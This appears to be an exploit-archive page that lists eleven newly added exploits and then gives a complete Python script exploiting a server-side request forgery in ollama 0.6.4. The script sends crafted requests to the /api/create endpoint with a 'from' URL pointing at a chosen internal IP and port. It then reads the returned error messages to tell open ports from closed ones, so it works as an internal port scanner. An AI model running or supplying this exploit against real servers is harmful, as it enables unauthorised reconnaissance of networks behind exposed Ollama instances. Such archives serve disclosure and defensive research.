989122095f
11 changes to exploits/shellcodes/ghdb AppSmith 1.47 - Remote Code Execution (RCE) ollama 0.6.4 - Server Side Request Forgery (SSRF) Vite 6.2.2 - Arbitrary File Read ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) Nagios Log Server 2024R1.3.1 - Stored XSS Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials openSIS 9.1 - SQLi (Authenticated) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure ProSSHD 1.2 - Denial of Service (DOS)
63 lines
No EOL
2.5 KiB
Python
Executable file
63 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: ollama 0.6.4 - SSRF
|
|
# Date: 2025-04-03
|
|
# Exploit Author: sud0
|
|
# Vendor Homepage: https://ollama.com/
|
|
# Software Link: https://github.com/ollama/ollama/releases
|
|
# Version: <=0.6.4
|
|
# Tested on: CentOS 8
|
|
|
|
import argparse
|
|
import requests
|
|
import json
|
|
from urllib.parse import urljoin
|
|
|
|
def check_port(api_base, ip, port):
|
|
api_endpoint = api_base.rstrip('/') + '/api/create'
|
|
|
|
model_path = "mynp/model:1.1"
|
|
target_url = f"https://{ip}:{port}/{model_path}"
|
|
payload = {
|
|
"model": "mario",
|
|
"from": target_url,
|
|
"system": "You are Mario from Super Mario Bros."
|
|
}
|
|
|
|
try:
|
|
response = requests.post(api_endpoint, json=payload, timeout=10, stream=True)
|
|
response.raise_for_status()
|
|
|
|
for line in response.iter_lines():
|
|
if line:
|
|
try:
|
|
json_data = json.loads(line.decode('utf-8'))
|
|
if "error" in json_data and "pull model manifest" in json_data["error"]:
|
|
error_msg = json_data["error"]
|
|
model_path_list = model_path.split(":", 2)
|
|
model_path_prefix = model_path_list[0]
|
|
model_path_suffix = model_path_list[1]
|
|
model_path_with_manifests = f"{model_path_prefix}/manifests/{model_path_suffix}"
|
|
if model_path_with_manifests in error_msg:
|
|
path_start = error_msg.find(model_path_with_manifests)
|
|
result = error_msg[path_start+len(model_path_with_manifests)+3:] if path_start != -1 else ""
|
|
print(f"Raw Response: {result}")
|
|
if "connection refused" in error_msg.lower():
|
|
print(f"[!] Port Closed - {ip}:{port}")
|
|
else:
|
|
print(f"[+] Port Maybe Open - {ip}:{port}")
|
|
return
|
|
except json.JSONDecodeError:
|
|
continue
|
|
|
|
print(f"[?] Unkown Status - {ip}:{port}")
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[x] Execute failed: {str(e)}")
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description="ollama ssrf - port scan")
|
|
parser.add_argument("--api", required=True, help="Ollama api url")
|
|
parser.add_argument("-i", "--ip", required=True, help="target ip")
|
|
parser.add_argument("-p", "--port", required=True, type=int, help="target port")
|
|
args = parser.parse_args()
|
|
|
|
check_port(args.api, args.ip, args.port) |